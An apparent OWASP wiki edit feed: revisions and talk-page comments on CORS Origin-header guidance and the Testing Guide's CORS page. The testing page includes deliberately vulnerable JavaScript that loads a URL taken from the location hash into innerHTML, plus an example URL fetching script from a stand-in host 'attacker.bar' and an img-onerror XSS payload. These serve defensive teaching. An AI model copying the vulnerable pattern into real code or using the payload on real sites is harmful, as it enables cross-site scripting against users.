&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:CORS_OriginHeaderScrutiny&amp;diff=247818</id>
		<title>Talk:CORS OriginHeaderScrutiny</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:CORS_OriginHeaderScrutiny&amp;diff=247818"/>
				<updated>2019-02-25T20:10:27Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;what does &amp;quot;protract allowed domain guessing&amp;quot; mean?&lt;br /&gt;
&lt;br /&gt;
I don't understand what this is trying to say - &amp;quot;It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address&amp;quot;&lt;br /&gt;
&lt;br /&gt;
-- &lt;br /&gt;
&lt;br /&gt;
The original state of this article was mostly nonsense and I'm not surprised it had been &amp;quot;flagged for review&amp;quot;.  The correct recommendation can be summarized as:&lt;br /&gt;
* Don't trust the Origin header&lt;br /&gt;
* Do your own authentication&lt;br /&gt;
&lt;br /&gt;
All that stuff about trying to guess if the Origin header can be trusted was not only overly-complicated but is bad in practice.  You can never trust the Origin header.  Ever.  Everything in an HTTP request can be crafted to say anything outside of a browser.  The recommendations that existed here were essentially &amp;quot;make sure they fake it well&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:09, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:CORS_OriginHeaderScrutiny&amp;diff=247817</id>
		<title>Talk:CORS OriginHeaderScrutiny</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:CORS_OriginHeaderScrutiny&amp;diff=247817"/>
				<updated>2019-02-25T20:09:11Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;what does &amp;quot;protract allowed domain guessing&amp;quot; mean?&lt;br /&gt;
&lt;br /&gt;
I don't understand what this is trying to say - &amp;quot;It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address&amp;quot;&lt;br /&gt;
&lt;br /&gt;
-- &lt;br /&gt;
&lt;br /&gt;
The original state of this article was mostly nonsense and I'm not surprised it had been &amp;quot;flagged for review&amp;quot;.  The correct recommendation can be summarized as:&lt;br /&gt;
* Don't trust the Origin header&lt;br /&gt;
* Do your own authentication&lt;br /&gt;
&lt;br /&gt;
All that stuff about trying to guess if the Origin header can be trusted was not only overly-complicated but is bad in practice.  You can never trust the Origin header.  Ever.&lt;br /&gt;
&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:09, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CORS_OriginHeaderScrutiny&amp;diff=247816</id>
		<title>CORS OriginHeaderScrutiny</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CORS_OriginHeaderScrutiny&amp;diff=247816"/>
				<updated>2019-02-25T20:05:22Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: That's really all you need to know - don't trust the origin header, do your own authentication.  Full stop.  This additional rambling about having to manage users and passwords is muddying the waters, and isn't neces. true (not all auth is password auth)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=pls_review&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
'''CORS''' stands for '''C'''ross-'''O'''rigin '''R'''esource '''S'''haring. &lt;br /&gt;
&lt;br /&gt;
Is a feature offering the possibility for:&lt;br /&gt;
* A web application to expose resources to all or restricted domain,&lt;br /&gt;
* A web client to make AJAX request for resource on other domain than is source domain.&lt;br /&gt;
&lt;br /&gt;
This article will focus on the role of the '''Origin''' header in the exchange between web client and web application.&lt;br /&gt;
&lt;br /&gt;
The basic process is composed of the steps below (sample HTTP request/response has been taken from [https://developer.mozilla.org/en-US/docs/HTTP_access_control Mozilla Wiki]):&lt;br /&gt;
&lt;br /&gt;
* '''Step 1 : Web client sends a request to get a resource from a different domain.'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /resources/public-data/ HTTP/1.1&lt;br /&gt;
Host: bar.other&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-us,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html&lt;br /&gt;
Origin: http://foo.example&lt;br /&gt;
&lt;br /&gt;
[Request Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The web client tells the server its source domain using the HTTP request header &amp;quot;'''Origin'''&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* '''Step 2 : Web application response to request.'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 01 Dec 2008 00:23:53 GMT&lt;br /&gt;
Server: Apache/2.0.61 &lt;br /&gt;
Keep-Alive: timeout=2, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The web application informs the web client of the allowed domains using the HTTP response header '''Access-Control-Allow-Origin'''.&lt;br /&gt;
The header can contains either a '*' to indicate that all domains are allowed OR a specified domain to indicate the specified allowed domain.&lt;br /&gt;
&lt;br /&gt;
* '''Step 3 : Web client process web application response.'''&lt;br /&gt;
&lt;br /&gt;
According to the CORS W3C specification, it's up to the web client (usually a browser) to determine, using the web application response HTTP header '''Access-Control-Allow-Origin''', &lt;br /&gt;
if the web client is allowed to access response data.&lt;br /&gt;
&lt;br /&gt;
== Risk ==&lt;br /&gt;
&lt;br /&gt;
''A reminder : This article will focus on the web application side because it's the only part in which we have the maximum of control.''&lt;br /&gt;
&lt;br /&gt;
The risk here is that a web client can put any value into the '''Origin''' request HTTP header in order to force web application to provide it the target resource content. &lt;br /&gt;
In the case of a Browser web client, the header value is managed by the browser but another &amp;quot;web client&amp;quot; can be used (like Curl/Wget/Burp suite/...) to change/override the &amp;quot;Origin&amp;quot; header value.  For this reason it is not recommended to use the Origin header to authenticate requests as coming from your site.&lt;br /&gt;
&lt;br /&gt;
== Countermeasure ==&lt;br /&gt;
&lt;br /&gt;
Enable authentication on the resources accessed and require that the user/application credentials be passed with the [https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Requests_with_credentials CORS requests].&lt;br /&gt;
&lt;br /&gt;
It is not possible to be 100% certain that any request comes from an expected client application, since all information of a HTTP request can be faked.&lt;br /&gt;
== Informations links ==&lt;br /&gt;
&lt;br /&gt;
* W3C Specification : http://www.w3.org/TR/cors/&lt;br /&gt;
* Mozilla Wiki : https://developer.mozilla.org/en-US/docs/HTTP_access_control&lt;br /&gt;
* Wikipedia : http://en.wikipedia.org/wiki/Cross-origin_resource_sharing&lt;br /&gt;
* CORS Abuse : http://blog.secureideas.com/2013/02/grab-cors-light.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CORS_OriginHeaderScrutiny&amp;diff=247813</id>
		<title>CORS OriginHeaderScrutiny</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CORS_OriginHeaderScrutiny&amp;diff=247813"/>
				<updated>2019-02-25T20:00:20Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: Countermeasure B does not help AT ALL.  Main recommendation here should be: Don't use the Origin header to validate the sender, as it is not reliable.  Why are we recommending adding some overly-complicated mechanism that doesn't actually work?&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=pls_review&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''08/16/2013'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
'''CORS''' stands for '''C'''ross-'''O'''rigin '''R'''esource '''S'''haring. &lt;br /&gt;
&lt;br /&gt;
Is a feature offering the possbility for:&lt;br /&gt;
* A web application to expose resources to all or restricted domain,&lt;br /&gt;
* A web client to make AJAX request for resource on other domain than is source domain.&lt;br /&gt;
&lt;br /&gt;
This article will focus on the role of the '''Origin''' header in the exchange between web client and web application.&lt;br /&gt;
&lt;br /&gt;
The basic process is composed of the steps below (sample HTTP resquest/response has been taken from [https://developer.mozilla.org/en-US/docs/HTTP_access_control Mozilla Wiki]):&lt;br /&gt;
&lt;br /&gt;
* '''Step 1 : Web client sends a request to get a resource from a different domain.'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /resources/public-data/ HTTP/1.1&lt;br /&gt;
Host: bar.other&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-us,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html&lt;br /&gt;
Origin: http://foo.example&lt;br /&gt;
&lt;br /&gt;
[Request Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The web client tells the server its source domain using the HTTP request header &amp;quot;'''Origin'''&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* '''Step 2 : Web application response to request.'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 01 Dec 2008 00:23:53 GMT&lt;br /&gt;
Server: Apache/2.0.61 &lt;br /&gt;
Keep-Alive: timeout=2, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The web application informs the web client of the allowed domains using the HTTP response header '''Access-Control-Allow-Origin'''.&lt;br /&gt;
The header can contains either a '*' to indicate that all domains are allowed OR a specified domain to indicate the specified allowed domain.&lt;br /&gt;
&lt;br /&gt;
* '''Step 3 : Web client process web application response.'''&lt;br /&gt;
&lt;br /&gt;
According to the CORS W3C specification, it's up to the web client (usually a browser) to determine, using the web application response HTTP header '''Access-Control-Allow-Origin''', &lt;br /&gt;
if the web client is allowed to access response data.&lt;br /&gt;
&lt;br /&gt;
== Risk ==&lt;br /&gt;
&lt;br /&gt;
''A reminder : This article will focus on the web application side because it's the only part in which we have the maximum of control.''&lt;br /&gt;
&lt;br /&gt;
The risk here is that a web client can put any value into the '''Origin''' request HTTP header in order to force web application to provide it the target resource content. &lt;br /&gt;
In the case of a Browser web client, the header value is managed by the browser but another &amp;quot;web client&amp;quot; can be used (like Curl/Wget/Burp suite/...) to change/override the &amp;quot;Origin&amp;quot; header value.  For this reason it is not recommended to use the Origin header to authenticate requests as coming from your site.&lt;br /&gt;
&lt;br /&gt;
== Countermeasure ==&lt;br /&gt;
&lt;br /&gt;
Enable authentication on the resources accessed and require that the user/application credentials be passed with the [https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Requests_with_credentials CORS requests].&lt;br /&gt;
&lt;br /&gt;
If the CORS resources exposed are classified as sensitive (and CORS exposition is mandatory) it's a good option but if the objective is only to ensure that the request originator is really &lt;br /&gt;
one of the allowed (to avoid rogue call), there somes drawback with this option, among others:&lt;br /&gt;
* The target application must manage users (or applications) credentials repositories including features like password expiry, password reset, brute force prevention, account lock/unlock,...&lt;br /&gt;
* The client application must store (in a secure way) the credentials to use,&lt;br /&gt;
* The client application must manage/configure credentials transfer in HTTP request in order that credentials are send only in case of CORS requests to target application.&lt;br /&gt;
&lt;br /&gt;
We use the method above because it's not possible to be 100% certain that any request comes from an expected client application, since:&lt;br /&gt;
* All information of a HTTP request can be faked,&lt;br /&gt;
* It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address.&lt;br /&gt;
&lt;br /&gt;
== Informations links ==&lt;br /&gt;
&lt;br /&gt;
* W3C Specification : http://www.w3.org/TR/cors/&lt;br /&gt;
* Mozilla Wiki : https://developer.mozilla.org/en-US/docs/HTTP_access_control&lt;br /&gt;
* Wikipedia : http://en.wikipedia.org/wiki/Cross-origin_resource_sharing&lt;br /&gt;
* CORS Abuse : http://blog.secureideas.com/2013/02/grab-cors-light.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Collin_Sauve&amp;diff=247810</id>
		<title>User:Collin Sauve</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Collin_Sauve&amp;diff=247810"/>
				<updated>2019-02-25T19:49:52Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Software Developer /  Security Engineer&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247806</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247806"/>
				<updated>2019-02-25T19:48:27Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: Echoing Origin back in Access-Control-Allow-Origin is only generally insecure when credentials are also allowed.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	</feed>